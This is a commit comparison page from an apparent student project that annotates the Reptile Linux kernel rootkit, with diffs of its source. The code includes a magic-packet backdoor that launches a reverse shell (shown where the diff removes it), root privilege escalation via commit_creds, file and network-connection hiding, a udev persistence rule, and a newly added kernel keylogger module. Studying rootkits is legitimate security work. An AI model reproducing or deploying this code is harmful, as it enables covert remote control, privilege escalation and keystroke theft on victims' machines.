Compare commits

..

44 Commits

Author SHA1 Message Date
sbj 838bbefb97 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
1 month ago
sbj 249eb64cfe 111
1 month ago
shou_gan_mian 9d89ccd93a 添加了1000多行注释
1 month ago
shou_gan_mian 338358229a Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
1 month ago
waiwai 407644fecb 提交报告文档
2 months ago
shou_gan_mian a98f0e7dbe 注释expr.c
2 months ago
shou_gan_mian 27ef4274fd Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai a9b1a596df 补充shell注释
2 months ago
waiwai 9c830e3898 添加keysniffer功能
2 months ago
waiwai 5f54432441 修复网络隐藏连接功能中的内存泄漏
2 months ago
waiwai 14d85647fc main文件丢失修复
2 months ago
shenzexi b96d18c90c hide缺陷维护
2 months ago
waiwai a22195afdd Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai 903d1bb497 comment
2 months ago
waiwai 17910e6968 add comment to pel.c
2 months ago
waiwai 3015c61eae Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai e7ebc263b8 删除文档:移除不再需要的 README.md、hfk_userland.txt、mqc_kernel.md、sbj_script.md 及相关图片文件
2 months ago
shenzexi 08f4c104d5 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
shenzexi 3ed0d5f8f8 代码注释
2 months ago
黄富奎 283de46711 1
2 months ago
waiwai a64168b46c replace last author commit
2 months ago
py94xmkso 86e0f5e789 ADD file via upload
2 months ago
waiwai 094a37d25c Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai 9416688cec something wrong
2 months ago
shou_gan_mian 372f2f875e 注释util.h
2 months ago
shou_gan_mian 33a515b746 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
shenzexi 784f8df86c 代码注释
2 months ago
waiwai 4a5cf78c79 add comment to loader.c
2 months ago
shou_gan_mian fc3335ad0a Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai 95d53943d2 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai f63a193c6a add some to src
2 months ago
shou_gan_mian cf7d261e54 注释file.h
2 months ago
shenzexi 7a6e913079 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
shenzexi 03f820cd24 代码注释
2 months ago
waiwai e8bf225ba9 move someting to docx
2 months ago
p54tqi6lk 7cfeabf4b4 Merge pull request '我们合体吧' (#2) from Scripts解析 into main
2 months ago
shenzexi 53d0f29de9 代码注释
2 months ago
shenzexi 6b0c326bbb Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
shenzexi 9c546a158b 代码注释
2 months ago
shenzexi 6b6deaab87 Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
shenzexi 658f630317 代码注释
2 months ago
shou_gan_mian d271c9e68d 阅读注释backdoor.c
2 months ago
waiwai 90467d75fa Merge branch 'main' of https://bdgit.educoder.net/py5ktlmgf/reptile
2 months ago
waiwai 711d0d0c23 add comment
2 months ago

@ -0,0 +1,18 @@
{
"configurations": [
{
"name": "windows-gcc-x64",
"includePath": [
"${workspaceFolder}/**"
],
"compilerPath": "E:/DEV-C++/Dev-Cpp/MinGW64/bin/gcc.exe",
"cStandard": "${default}",
"cppStandard": "${default}",
"intelliSenseMode": "windows-gcc-x64",
"compilerArgs": [
""
]
}
],
"version": 4
}

@ -0,0 +1,24 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "C/C++ Runner: Debug Session",
"type": "cppdbg",
"request": "launch",
"args": [],
"stopAtEntry": false,
"externalConsole": true,
"cwd": "e:/专业课/reptile/src/Reptile/kernel",
"program": "e:/专业课/reptile/src/Reptile/kernel/build/Debug/outDebug",
"MIMode": "gdb",
"miDebuggerPath": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}

@ -1,3 +1,6 @@
{ {
"Codegeex.RepoIndex": true "Codegeex.RepoIndex": true,
"files.associations": {
"dialog.h": "c"
}
} }

Binary file not shown.

Before

Width:  |  Height:  |  Size: 303 KiB

@ -1,91 +0,0 @@
# reptile
# **scripts 目录**
* kconfig目录这里只列举核心文件的功能
* lxdialog目录
* .pc目录
* patches目录
* check.sh
* 用于检查系统是否支持国际化gettext功能
* conf.c、confdata.c、config.sh、mconf.c、nconf.c等
* 用于配置管理,构建系统或内核配置
* expr.c
* 用于处理配置表达式的C语言程序
* gconf.c
* 基于GTK+的图形化配置工具gkc用于管理和配置Linux内核或其他类似项目的配置选项
* image.c
* 定义了一系列的XPMX PixMap图像数据主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储图像的数据格式是以文本形式表示的像素颜色和形状。
* kxgettext.c
* 实现了一个用于国际化i18n支持的消息处理系统主要功能包括创建、查找、存储和打印消息处理消息的转义和格式化以适应多语言环境的需求。
* menu.c
* 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示
* util.c
* 提供了有效的内存管理和字符串处理功能
* merge\_config.sh核心
* 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。
* 存放补丁代码
* 总的来说kconfig用来配置内核它就是各种配置界面的源文件内核的配置工具读取各个kconfig文件生成配置界面供开发人员配置内核最后生成配置文件.config
* lib目录
* Unescape.pm文件
* 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。
* bashrc
* 设置交互式 shell 的环境
* 配置终端设置、颜色提示以及对 ls、grep 等命令的别名
* 包括检查以确保用户不是 root暗示该项目设计为非特权操作以避免被检测。
* destringify.pl Perl 脚本)
* 用于处理输入以反转义字符串并将其翻译为类似 C 的语法
* 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段
* 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作
* installer.sh
* 负责安装 Reptile 项目,创建目录并复制必要的文件
* random.sh
* 生成两个随机的十六进制数4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中
* rule
* 内容ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile"
* 这条 udev 规则的功能是:当一个主设备号为 1次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。
* start
* 全文被注释

@ -22,6 +22,7 @@ INSTALLER ?= $(PWD)/scripts/installer.sh
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
obj-m += keysniffer.o
reptile: $(LOADER) reptile: $(LOADER)
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
@ echo " CC $(BUILD_DIR)/$@" @ echo " CC $(BUILD_DIR)/$@"

@ -15,6 +15,7 @@ $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o
$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o $(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o
$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o $(MODNAME)-$(CONFIG_HIDE_CONN) += network.o
$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o $(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o
$(MODNAME)-$(CONFIG_AUTO_Keysniffe) += keysniffer.o
ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR
ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\" ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\"

@ -1,3 +1,10 @@
/**
* @file backdoor.c
* @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected.
*
* The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task.
*/
#include <linux/string.h> #include <linux/string.h>
#include <linux/version.h> #include <linux/version.h>
#include <linux/net.h> #include <linux/net.h>
@ -7,260 +14,50 @@
#include <linux/icmp.h> #include <linux/icmp.h>
#include <linux/workqueue.h> #include <linux/workqueue.h>
#include "util.h" #include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数)
#include "config.h" #include "config.h" // 自定义的配置头文件(可能定义了一些配置参数)
#include "backdoor.h" #include "backdoor.h" // 后门的实现头文件
/**
* @struct shell_task
* @brief Structure representing a shell execution task.
*
* @var shell_task::work
* Work structure for scheduling the task.
* @var shell_task::ip
* IP address to connect to.
* @var shell_task::port
* Port to connect to.
*/
struct shell_task { struct shell_task {
struct work_struct work; struct work_struct work; // 工作队列结构体
char *ip; char *ip; // 存储IP地址字符串
char *port; char *port; // 存储端口号字符串
}; };
void shell_execer(struct work_struct *work) /**
{ * @brief Executes a shell command with the given IP and port.
struct shell_task *task = (struct shell_task *)work; *
char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; * @param work Pointer to the work structure.
*/
exec(argv); void shell_execer(struct work_struct *work);
kfree(task->ip); /**
kfree(task->port); * @brief Schedules a shell execution task.
kfree(task); *
} * @param ip IP address to connect to.
* @param port Port to connect to.
int shell_exec_queue(char *ip, char *port) * @return int 1 if the task was successfully scheduled, 0 otherwise.
{ */
struct shell_task *task; int shell_exec_queue(char *ip, char *port);
task = kmalloc(sizeof(*task), GFP_KERNEL); #define DROP 0 // 定义DROP为0表示丢弃数据包
#define ACCEPT 1 // 定义ACCEPT为1表示接受数据包
if (!task)
return 0; /**
* @brief Parses a network packet to detect a magic packet and execute a shell command.
task->ip = kstrdup(ip, GFP_KERNEL); *
if (!task->ip) { * @param socket_buffer Pointer to the socket buffer containing the packet data.
kfree(task); * @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise.
return 0; */
} unsigned int magic_packet_parse(struct sk_buff *socket_buffer);
task->port = kstrdup(port, GFP_KERNEL);
if (!task->port) {
kfree(task->ip);
kfree(task);
return 0;
}
INIT_WORK(&task->work, &shell_execer);
return schedule_work(&task->work);
}
#define DROP 0
#define ACCEPT 1
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;
const struct icmphdr *icmp_header;
const struct tcphdr *tcp_header;
const struct udphdr *udp_header;
struct iphdr _iph;
struct icmphdr _icmph;
struct tcphdr _tcph;
struct udphdr _udph;
const char *data = NULL;
char *_data, *argv_str, **argv;
int size, str_size;
if (!socket_buffer)
return ACCEPT;
ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph);
if (!ip_header)
return ACCEPT;
if (!ip_header->protocol)
return ACCEPT;
if (htons(ip_header->id) != IPID)
return ACCEPT;
if (ip_header->protocol == IPPROTO_TCP) {
tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph);
if (!tcp_header)
return ACCEPT;
if (htons(tcp_header->source) != SRCPORT)
return ACCEPT;
if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */
htons(tcp_header->window) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_ICMP) {
icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph);
if (!icmp_header)
return ACCEPT;
if (icmp_header->code != ICMP_ECHO)
return ACCEPT;
if (htons(icmp_header->un.echo.sequence) == SEQ &&
htons(icmp_header->un.echo.id) == WIN) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
if (ip_header->protocol == IPPROTO_UDP) {
udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph);
if (!udp_header)
return ACCEPT;
if (htons(udp_header->source) != SRCPORT)
return ACCEPT;
if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) {
size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph);
_data = kmalloc(size, GFP_KERNEL);
if (!_data)
return ACCEPT;
str_size = size - strlen(MAGIC_VALUE);
argv_str = kmalloc(str_size, GFP_KERNEL);
if (!argv_str) {
kfree(_data);
return ACCEPT;
}
data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data);
if (!data) {
kfree(_data);
kfree(argv_str);
return ACCEPT;
}
if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) {
memzero_explicit(argv_str, str_size);
memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1);
do_decrypt(argv_str, str_size - 1, KEY);
argv = argv_split(GFP_KERNEL, argv_str, NULL);
if (argv) {
shell_exec_queue(argv[0], argv[1]);
argv_free(argv);
}
kfree(_data);
kfree(argv_str);
return DROP;
}
kfree(_data);
kfree(argv_str);
}
}
return ACCEPT;
}

@ -1,3 +1,14 @@
/**
* is_name_invisible -
* @filename:
*
* HIDE
* 10
*
* :
* 1 -
* 0 -
*/
#include <linux/uaccess.h> #include <linux/uaccess.h>
#include <linux/slab.h> #include <linux/slab.h>
#include <linux/string.h> #include <linux/string.h>

@ -4,49 +4,71 @@
#include "encrypt.h" #include "encrypt.h"
// 函数声明:获取文件大小
// 参数:指向文件的指针
// 返回值:文件的大小(字节数)
static long get_file_size(FILE *file) static long get_file_size(FILE *file)
{ {
long size; long size;
fseek(file, 0, SEEK_END); // 将文件指针移动到文件末尾
size = ftell(file); fseek(file, 0, SEEK_END);
rewind(file); // 获取文件指针当前位置,即文件大小
return size; size = ftell(file);
// 将文件指针重新移动到文件开头
rewind(file);
return size;
} }
// 主函数:程序入口
// 参数:命令行参数个数,命令行参数数组
// 返回值:程序退出状态码
int main(int argc, char **argv) int main(int argc, char **argv)
{ {
if (argc != 3) { // 检查命令行参数是否正确(需要两个参数:文件名和密钥)
fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n"); if (argc != 3) {
exit(-1); fprintf(stderr, "USAGE: encrypt <file> <pass:hex(uint32)>\n");
} exit(-1);
}
FILE *file = fopen(argv[1], "rb");
if (!file) { // 打开指定文件以二进制读取模式
fprintf(stderr, "Can't open %s for reading\n", argv[1]); FILE *file = fopen(argv[1], "rb");
exit(-1); if (!file) {
} fprintf(stderr, "Can't open %s for reading\n", argv[1]);
exit(-1);
long size = get_file_size(file); }
unsigned char *data = malloc(size);
if (!data) { // 获取文件大小
fprintf(stderr, "Can't allocate memory\n"); long size = get_file_size(file);
exit(-1); // 分配内存以存储文件数据
} unsigned char *data = malloc(size);
if (!data) {
if (fread(data, size, 1, file) != 1) { fprintf(stderr, "Can't allocate memory\n");
fprintf(stderr, "Can't read data from file\n"); exit(-1);
exit(-1); }
}
// 从文件中读取数据到分配的内存中
fclose(file); if (fread(data, size, 1, file) != 1) {
fprintf(stderr, "Can't read data from file\n");
uint32_t key = strtol(argv[2], NULL, 16); exit(-1);
do_encrypt(data, size, key); }
printf("#define DECRYPT_KEY 0x%08x\n", key); // 关闭文件
for (int i = 0; i < size; i++) { fclose(file);
printf("0x%02x,", data[i]);
} // 将命令行传入的密钥从十六进制字符串转换为uint32_t整数
uint32_t key = strtol(argv[2], NULL, 16);
return 0; // 使用指定的密钥对数据进行加密
do_encrypt(data, size, key);
// 输出解密密钥(宏定义形式)
printf("#define DECRYPT_KEY 0x%08x\n", key);
// 输出加密后的数据(十六进制格式)
for (int i = 0; i < size; i++) {
printf("0x%02x,", data[i]);
}
// 释放分配的内存
free(data);
return 0;
} }

@ -1,65 +1,78 @@
#include <linux/uaccess.h> #include <linux/uaccess.h> // 包含用户空间和内核空间之间的数据传输函数
#include <linux/slab.h> #include <linux/slab.h> // 包含内核内存分配函数
#include "file.h" #include "file.h" // 包含自定义头文件
// 检查给定的缓冲区是否包含隐藏标签
int file_check(void *arg, ssize_t size) int file_check(void *arg, ssize_t size)
{ {
int ret = 0; int ret = 0; // 初始化返回值为0
char *buf; char *buf; // 定义字符指针用于存储缓冲区
// 检查缓冲区大小是否合法
if ((size <= 0) || (size >= SSIZE_MAX)) if ((size <= 0) || (size >= SSIZE_MAX))
return ret; return ret;
// 分配内核缓冲区
buf = (char *)kmalloc(size + 1, GFP_KERNEL); buf = (char *)kmalloc(size + 1, GFP_KERNEL);
if (!buf) if (!buf) // 检查内存分配是否成功
return ret; return ret;
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size)) if (copy_from_user((void *)buf, (void *)arg, size))
goto out; goto out; // 如果复制失败跳转到out标签
buf[size] = 0; buf[size] = 0; // 确保缓冲区以NULL结尾
// 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签
if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL))
ret = 1; ret = 1; // 如果找到标签设置返回值为1
out: out:
kfree(buf); kfree(buf); // 释放内核缓冲区
return ret; return ret; // 返回结果
} }
// 隐藏缓冲区中的内容
int hide_content(void *arg, ssize_t size) int hide_content(void *arg, ssize_t size)
{ {
char *buf, *p1, *p2; char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置
int i, newret; int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量
// 分配内核缓冲区
buf = (char *)kmalloc(size, GFP_KERNEL); buf = (char *)kmalloc(size, GFP_KERNEL);
if (!buf) if (!buf) // 检查内存分配是否成功
return (-1); return (-1);
// 将用户空间的缓冲区内容复制到内核缓冲区
if (copy_from_user((void *)buf, (void *)arg, size)) { if (copy_from_user((void *)buf, (void *)arg, size)) {
kfree(buf); kfree(buf); // 如果复制失败,释放内核缓冲区
return size; return size;
} }
// 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置
p1 = strstr(buf, HIDETAGIN); p1 = strstr(buf, HIDETAGIN);
p2 = strstr(buf, HIDETAGOUT); p2 = strstr(buf, HIDETAGOUT);
p2 += strlen(HIDETAGOUT); p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾
// 检查标签位置是否合法
if (p1 >= p2 || !p1 || !p2) { if (p1 >= p2 || !p1 || !p2) {
kfree(buf); kfree(buf); // 如果标签位置不合法,释放内核缓冲区
return size; return size;
} }
// 计算新的缓冲区大小
i = size - (p2 - buf); i = size - (p2 - buf);
// 移动标签之间的内容
memmove((void *)p1, (void *)p2, i); memmove((void *)p1, (void *)p2, i);
newret = size - (p2 - p1); newret = size - (p2 - p1); // 计算新的缓冲区大小
// 将修改后的缓冲区内容复制回用户空间
if (copy_to_user((void *)arg, (void *)buf, newret)) { if (copy_to_user((void *)arg, (void *)buf, newret)) {
kfree(buf); kfree(buf); // 如果复制失败,释放内核缓冲区
return size; return size;
} }
kfree(buf); kfree(buf); // 释放内核缓冲区
return newret; return newret; // 返回新的缓冲区大小
} }

@ -1,20 +1,27 @@
#ifndef __LOADER_H__ #ifndef __LOADER_H__
#define __LOADER_H__ #define __LOADER_H__
// 定义加密和解密的宏实际调用do_encode函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) #define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) #define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 定义一个静态内联函数用于实现32位值的循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n) static inline unsigned int custom_rol32(unsigned int val, int n)
{ {
return ((val << n) | (val >> (32 - n))); // 循环左移n位右移(32 - n)位,然后将两者的结果合并
return ((val << n) | (val >> (32 - n)));
} }
// 定义一个静态内联函数,用于执行编码操作
static inline void do_encode(void *ptr, unsigned int len, unsigned int key) static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{ {
while (len > sizeof(key)) { // 当剩余长度大于键值长度时,继续执行编码操作
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); while (len > sizeof(key)) {
len -= sizeof(key), ptr += sizeof(key); // 使用异或和循环左移操作对数据进行编码
} *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
// 更新剩余长度和指针位置,准备处理下一部分数据
len -= sizeof(key), ptr += sizeof(key);
}
} }
#endif #endif

@ -14,3 +14,8 @@ static inline void file_tampering(void)
else else
file_tampering_flag = 1; file_tampering_flag = 1;
} }
/*SSIZE_MAX 是一个宏定义设置了最大可操作大小32767
file_tampering_flag
file_check hide_content
file_tampering file_tampering_flag */

@ -9,4 +9,5 @@ extern struct list_head hidden_conn_list;
void network_hide_add(struct sockaddr_in addr); void network_hide_add(struct sockaddr_in addr);
void network_hide_remove(struct sockaddr_in addr); void network_hide_remove(struct sockaddr_in addr);
void network_hide_cleanup(void);
//void hide_conn(char *ip_str); //void hide_conn(char *ip_str);

@ -3,87 +3,106 @@
#include <linux/cred.h> #include <linux/cred.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0) #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
# include <linux/kmod.h> # include <linux/kmod.h> // 低于 4.14 的内核引入 kmod.h
#else #else
# include <linux/umh.h> # include <linux/umh.h> // 高于 4.14 的内核引入 umh.h
#endif #endif
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) // 定义加密和解密宏,调用相同的编码函数
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) #define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
// 循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n) static inline unsigned int custom_rol32(unsigned int val, int n)
{ {
return ((val << n) | (val >> (32 - n))); return ((val << n) | (val >> (32 - n))); // 将 val 左移 n 位,移出部分放到右边
} }
// 编码函数,可能用于加密或其他数据隐藏
static inline void do_encode(void *ptr, unsigned int len, unsigned int key) static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{ {
while (len > sizeof(key)) { while (len > sizeof(key)) {
*(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); // 使用异或和循环左移对数据进行编码
len -= sizeof(key), ptr += sizeof(key); len -= sizeof(key);
} ptr += sizeof(key);
}
} }
// 执行用户模式程序,返回执行结果
static inline int exec(char **argv) static inline int exec(char **argv)
{ {
char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // 执行外部程序并等待完成
} }
// 执行指定的 shell 命令
static inline int run_cmd(char *cmd) static inline int run_cmd(char *cmd)
{ {
char *argv[] = {"/bin/bash", "-c", cmd, NULL}; char *argv[] = {"/bin/bash", "-c", cmd, NULL};
return exec(argv); return exec(argv); // 调用 exec 函数执行命令
} }
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, // 内核符号查找回调函数
unsigned long addr) static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{ {
int i = 0; int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) { while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) if (!name[i++]) // 如果找到匹配的符号
return !!(data[1] = addr); return !!(data[1] = addr); // 返回符号地址
} }
return 0; return 0;
} }
// 查找内核符号名对应的地址
static inline unsigned long ksym_lookup_name(const char *name) static inline unsigned long ksym_lookup_name(const char *name)
{ {
unsigned long data[2] = {(unsigned long)name, 0}; unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 遍历内核符号查找
return data[1]; return data[1]; // 返回符号地址
} }
#ifdef CONFIG_GIVE_ROOT #ifdef CONFIG_GIVE_ROOT
// 提升当前进程权限为 root
static inline void get_root(void) static inline void get_root(void)
{ {
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = 0; // 低版本内核(<2.6.29)直接设置进程的 UID/GID 等为 root 权限
current->suid = 0; current->uid = 0;
current->euid = 0; current->suid = 0;
current->gid = 0; current->euid = 0;
current->egid = 0; current->gid = 0;
current->fsuid = 0; current->egid = 0;
current->fsgid = 0; current->fsuid = 0;
cap_set_full(current->cap_effective); current->fsgid = 0;
cap_set_full(current->cap_inheritable); cap_set_full(current->cap_effective); // 设置所有权限
cap_set_full(current->cap_permitted); cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else #else
commit_creds(prepare_kernel_cred(0)); // 新版本内核通过 commit_creds 和 prepare_kernel_cred 来获取 root 权限
commit_creds(prepare_kernel_cred(0)); // 提升权限为 root
#endif #endif
} }
#endif #endif
extern int hidden; extern int hidden; // 外部声明的变量 hidden用于标记隐藏状态
// 切换 hidden 标志的值
static inline void flip_hidden_flag(void) static inline void flip_hidden_flag(void)
{ {
if (hidden) if (hidden)
hidden = 0; hidden = 0; // 如果当前是 1设置为 0
else else
hidden = 1; hidden = 1; // 如果当前是 0设置为 1
} }
// 声明的其他函数
int util_init(void); int util_init(void);
int get_cmdline(struct task_struct *task, char *buffer, int buflen); int get_cmdline(struct task_struct *task, char *buffer, int buflen);
//int run_cmd(const char *cmd); //int run_cmd(const char *cmd);
/*加密/解密处理:通过 do_encode 函数对数据进行处理。
使 ksym_lookup_name
get_root root
exec run_cmd shell
flip_hidden_flag hidden
*/

@ -0,0 +1,141 @@
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#define BUF_LEN (PAGE_SIZE << 2) /* 16KB buffer (assuming 4KB PAGE_SIZE) */
/* Declarations */
static struct dentry *file;
static struct dentry *subdir;
static ssize_t keys_read(struct file *filp,
char *buffer,
size_t len,
loff_t *offset);
static int keysniffer_cb(struct notifier_block *nblock,
unsigned long code,
void *_param);
/* Keymap */
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, {"_TAB_", "_TAB_"},
{"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},
{"_ENTER_", "_ENTER_"}, {"_CTRL_", "_CTRL_"}, {"a", "A"}, {"s", "S"},
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},
{"'", "\""}, {"`", "~"}, {"_SHIFT_", "_SHIFT_"}, {"\\", "|"},
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},
{".", ">"}, {"/", "?"}, {"_SHIFT_", "_SHIFT_"}, {"_PRTSCR_", "_KPD*_"},
